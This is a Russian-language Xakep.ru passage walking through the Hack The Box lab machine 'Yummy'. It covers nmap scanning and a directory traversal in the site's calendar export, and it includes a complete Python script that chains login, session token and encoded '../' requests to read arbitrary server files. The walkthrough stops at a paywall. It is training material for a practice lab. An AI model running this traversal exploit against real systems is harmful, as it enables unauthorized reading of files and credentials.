Содержание статьи
Наша цель — получение прав суперпользователя на машине Yummy с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.36 yummy.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.6p1;
- 80 — веб‑сервер Caddy (как показал Nmap).
Первым делом осмотримся на сайте.

Точка входа
На главной странице есть форма бронирования стола.

Заполняем все поля формы случайными данными и получаем ответ, что запрос обработан.

Зарегистрируемся на сайте, указав email, на который был забронирован стол. После авторизации на сайте можно найти запись о бронировании.

На сайте есть возможность сохранить запись в формате iCalendar. При этом файл скачивается с сервера, но через обработчик на эндпоинте /
. Это можно увидеть в Burp History.

Точка опоры
LFI
Попробуем выполнить обход каталога и получить содержимое файла /
. Для этого активируем перехватчик в Burp Proxy и выполняем экспорт на сайте. Первый запрос в Burp Proxy пропускаем, а во втором изменим путь к файлу.


В итоге скачивается указанный файл /
, а значит, есть уязвимость обхода каталога.

Эксплуатация уязвимости усложняется тем, что в ответе сервера на первый запрос есть одноразовый идентификатор, который отправляется во втором запросе. А значит, для получения любого файла нужно выполнять два запроса.
Для удобства напишем на Python простенький скрипт, который будет логиниться на сайте и получать сессионный JWT, затем вторым запросом получать одноразовый идентификатор и уже третьим — указанный файл.
import requestsimport jsonimport sysdef get_access_token(): url = "http://yummy.htb/login" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", } payload = { "email": "ralf@ralf.com", "password": "<PASSWORD>" } try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: data = response.json() return data.get("access_token") else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Nonedef get_session_token(access_token): url = "http://yummy.htb/reminder/21" headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", "Cookie": "X-AUTH-Token=" + access_token } try: response = requests.get(url, headers=headers, allow_redirects=False) if response.status_code == 302: set_cookie = response.headers.get("Set-Cookie") if set_cookie: for cookie in set_cookie.split(";"): if cookie.strip().startswith("session="): return cookie.strip().split("=", 1)[1] else: print("Header Set-Cookie invalid") return None else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Nonedef get_export_file(access_token, session_token, filename): url = "http://yummy.htb/export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e" + filename headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", "Cookie": "X-AUTH-Token=" + access_token + "; session=" + session_token } try: response = requests.get(url, headers=headers) if response.status_code == 200: return response.text else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Noneaccess_token = get_access_token()session_token = get_session_token(access_token)text = get_export_file(access_token, session_token, sys.argv[1])print(text)

Узнать место расположения исходного кода через /
не вышло, поэтому просто перебираем интересные системные файлы. Так доходим до планировщика задач cron. Находим три скрипта, которые обязательно нужно изучить.

Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее